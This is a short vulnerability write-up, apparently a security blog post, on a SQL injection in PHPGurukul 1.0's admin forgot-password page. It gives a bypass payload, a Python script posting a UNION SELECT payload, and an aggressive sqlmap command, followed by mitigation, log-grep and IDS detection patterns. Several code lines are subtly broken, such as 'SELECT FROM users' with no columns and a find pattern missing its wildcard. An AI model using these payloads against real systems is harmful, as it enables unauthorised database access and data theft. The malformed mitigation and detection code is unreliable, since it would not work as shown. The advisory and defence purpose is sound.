How the CVE Works
The vulnerability exists in /admin/forgot-password.php, where the `email` parameter is improperly sanitized before being used in a SQL query. Attackers can inject malicious SQL payloads through this parameter, leading to unauthorized database access, data exfiltration, or manipulation. The flaw arises due to lack of prepared statements or input validation, allowing direct SQL command execution. Remote exploitation is possible without authentication, making it critical.

Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical

What Undercode Say:
Exploitation:
1. Payload Example:
' OR '1'='1' --
Sent via POST to `/admin/forgot-password.php` with `email` parameter.
2. Automated Exploit (Python):
import requests
target = "http://target.com/admin/forgot-password.php"
payload = {"email": "' UNION SELECT 1,2,3,4,5-- -"}
response = requests.post(target, data=payload)
print(response.text)
3. SQLMap Command:
sqlmap -u "http://target.com/admin/forgot-password.php" --data="email=test" --risk=3 --level=5
Mitigation:
1. Patch: Apply vendor updates if available.
2. Input Sanitization:
$email = mysqli_real_escape_string($conn, $_POST['email']);
3. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM users WHERE email = ?");
$stmt->bind_param("s", $_POST['email']);
4. WAF Rules: Block SQLi patterns (e.g., ' OR 1=1).
Detection:
1. Log Analysis:
grep "forgot-password.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
2. IDS Signature:
alert tcp any any -> $HTTP_SERVERS 80 (msg:"SQLi Attempt"; content:"email="; pcre:"/UNION.SELECT/i";)
Post-Exploit Analysis:
1. Database Audit:
SHOW DATABASES; SELECT FROM mysql.user;
2. Backdoor Check:
find /var/www/html -name ".php" -exec grep -l "eval(" {} \;
